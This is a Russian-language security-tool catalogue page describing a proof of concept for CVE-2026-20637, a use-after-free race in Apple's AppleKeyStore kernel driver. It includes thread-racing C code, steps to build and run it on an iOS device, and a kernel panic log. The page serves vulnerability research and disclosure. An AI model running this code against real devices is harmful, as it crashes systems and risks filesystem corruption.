Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-20637-AppleSEPKeyStore-UAF — CVE-2026-20637: AppleSEPKeyStore Use-After-Free — уязвимость ядра iOS/macOS (исправлена в 26.4) | Kitploit
Инструменты/GitHubGitHub/enfilade-labs/cve-2026-20637-applesepkeystore-uaf
Безопасность iOSАнализ уязвимостейЭксплуатацияМобильная безопасностьЭксплуатация Бинарных Файлов
GitHubenfilade-labs/cve-2026-20637-applesepkeystore-uaf

CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637: AppleSEPKeyStore Use-After-Free — уязвимость ядра iOS/macOS (исправлена в 26.4)

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
14 месяцев назадЕщё не проверено
Поделиться

CVE-2026-20637 — AppleSEPKeyStore Use-After-Free

CVE-2026-20637 · Enfilade · enfilade.io

Компонент: AppleKeyStore

Воздействие: Приложение может вызвать непредвиденное завершение работы системы.

Описание: Проблема использования после освобождения (use-after-free) была устранена за счёт улучшенного управления памятью.

— Apple Security Content, iOS 26.3 и iPadOS 26.3

Целевые системы

iOS26.1 – 26.2 (протестировано)
macOS26.1 – 26.2 (протестировано)
Компонентcom.apple.driver.AppleSEPKeyStore
ИсправленоiOS 26.3 / iPadOS 26.3

Apple могла вносить исправления поэтапно между версиями 26.2.1 и 26.3, поэтому промежуточные сборки могут не воспроизводить уязвимость.

Предупреждение

Запуск PoC вызовет kernel panic на устройстве. Сохраните свою работу перед запуском. Повторные паники могут привести к повреждению файловой системы. Только для исследовательских целей в области безопасности.

Уязвимость

Использование после освобождения (use-after-free) в IOCommandGate, вызванное гонкой в AppleKeyStore. Восемь потоков-вызывающих интенсивно обращаются к IOConnectCallMethod по селекторам 0–15, в то время как четыре потока-закрывающих конкурируют за IOServiceClose, создавая окно, в котором command gate используется после освобождения.

Proof of Concept

root@kitploit:~
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS      8
#define NUM_CLOSERS      4
#define NUM_ITERATIONS   100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8 потоков-вызывающих: интенсивно обращаются к IOConnectCallMethod (высокий приоритет)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4 потока-закрывающих: гонка за IOServiceClose (высокий приоритет)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// Главный поток: 100k подключений, без задержки
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022
                  : (i % 4 == 1) ? 0xbeef
                  : (i % 4 == 2) ? 0x1337
                                 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // БЕЗ ЗАДЕРЖКИ — узкое окно гонки
}

Сборка и запуск

  1. Откройте ios-app/Test.xcodeproj в Xcode.
  2. Выберите физическое iOS-устройство (симулятор не сможет получить доступ к драйверу).
  3. Соберите, запустите и активируйте PoC из приложения.

Журнал паники

root@kitploit:~
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f

Лицензия

См. LICENSE.

Скачать инструмент